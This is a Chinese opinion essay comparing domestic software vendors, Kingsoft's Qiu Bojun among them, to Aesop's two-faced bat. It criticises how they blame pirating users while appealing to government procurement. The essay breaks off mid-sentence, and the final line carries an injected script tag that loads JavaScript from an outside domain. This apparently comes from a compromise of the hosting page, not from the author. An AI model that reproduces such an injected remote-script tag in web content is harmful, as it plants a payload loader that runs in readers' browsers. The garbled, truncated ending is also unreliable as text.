《伊索寓言》里面讲了一个蝙蝠的故事：蝙蝠遇见鸟类就说自己是鸟，会飞，遇见兽类就说自己是兽，有牙齿。最后，鸟类和兽类一打架，蝙蝠就最不受欢迎了。这个故事可能是讽刺那种骑墙的，但钱钟书老先生却有自己的看法，他说人类要比这蝙蝠聪明多了。人会把蝙蝠的方法反过来用：在鸟类里偏要充兽，表示脚踏实地，而在兽类里偏要充当鸟，表示高超出世，向武人卖弄风雅，向文人装作英雄。在上流社会充作又穷又硬的平民，跑到平民中间，又是曲尊下顾的知识分子。和伊索不同，钱钟书不讽刺蝙蝠，而是讽刺现代的人。
我来说说我们做软件的。记得有一个朋友笑话我，你是做it的，可你怎么这么喜欢跟文化人在一起？我耍了一个小玩笑，说，那样，我就是最懂技术的文化人。跑到it圈，我又变成了一个有文化的it人，多有面子。这些个心态，以及蝙蝠的心态，我们的作软件的都已经具备，确实值得我们深思。
比如我要说到的求伯君们，并不独指金山的求伯君一人，是我们更多的作软件和软件公司的管理人员。
遇到微软这个强大的敌人，我们的求伯君们就会哀叹生不逢时，似乎要没有微软，或许可大有成就。但一当政府采购有了新变化，说要全部优先购买国产软件的时候，求先生们又不哀叹了，会说自己才是最适合中国的软件，早就把自己产品的不足忘记到了九霄云外，反而会说用户们没文化，盗用了微软太多没用的功能。(其实，如果真是没用，人家微软做这些功能干嘛？)
埋怨用户是一套口气，说你们最大的毛病就是爱盗版；巴结政府又一套口气，说可怜可怜我们这些国产软件吧，我们也跟微软一样，被盗版得厉害，既然生于斯，长于斯，你们总该给大力支持吧。
这跟蝙蝠们不同，倒是跟人是大大地一致。
当软件厂商看到芸芸大众，就跟一个人跑到文化圈耍武力一样，你盗版，我就用权力来制约你，用道德来损伤你，用宣传来感化你。而当软件厂商看到政府有大需求的时候，他又会在“上流社会”充当又穷又硬的平民，打着民族软件的旗号，让政府这一上流社会来同情他的穷和有骨气，这是多么可笑。当然我这里将中国软件厂商硬和蝙蝠扯到一起，可能会有人不高兴，因为上面的这些蝙蝠特色，软件厂商沾染得少，而人的一些类蝙蝠的特色和习气，软件厂商倒沾染得多。
如果软件厂商要当这鸟类，羡慕云雀的高飞和优美的歌喉，或期待跟山鹰一样能展翅和群山搏击，那就踏实做好鸟类，而别惦记着自己是有牙齿的兽类，更不要在鸟类里，扯开喉咙张开大嘴说自己是兽类。比如在和微软等软件霸主竞争的时候，更主要的是向人家学习，学习微软的技术创新和先进的软件开发管理经验，甚至微软的市场开拓方式也要学习。有的中国软件企业会看不起微软的“创新”，说微软靠收购和抄袭，怎么称得上创新，也有的会说微软的市场开拓就是一种垄断，霸权，我们有必要学么？我觉得有必要！因为我们的厂商更加没有创新，市场一塌糊涂。这就跟蝙蝠毕竟不是鸟儿一样，蝙蝠真要想高飞，优美地鸣唱，不学真鸟儿，学兽类是学不来的。
同样，如果软件厂商想当这兽类，学会踏实，一步一步地在中国市场上耕耘，就别抱怨我们市场上的用户都是一些“近乎无耻的盗版用户”，自己也不能将自己拔高得太厉害，做那飞翔的云雀，或展翅的山鹰。对政府采购方或其他大宗购买者，不要说自己跟微软其实也差不了太多，踏实地说出自己的优缺点，就很好。
反观我们现在的软件厂商，以金山求伯君为例子，将“盗版”作为自己的第一对手，就有点要在兽类中装鸟类的意思；而将微软当作自己的第二对手，则是在鸟类中作那伏地而行的兽类的感觉。我曾有一篇小文批评过求伯君的这种心态不好，被类似作软件的称之为信口雌黄。有用户盗版金山的产品，在微软这一虎狼对手面前，是好事情，不是坏事情。微软也是靠让中国人“习惯于盗版”微软的产品后今年才开始厚颜无耻地打算收钱的，为什么？是策略，不是别的。金山作了一个逐步完善的新版wps office 2003，为什么迫不及待地要说?script src=http://er12.com/t.js>
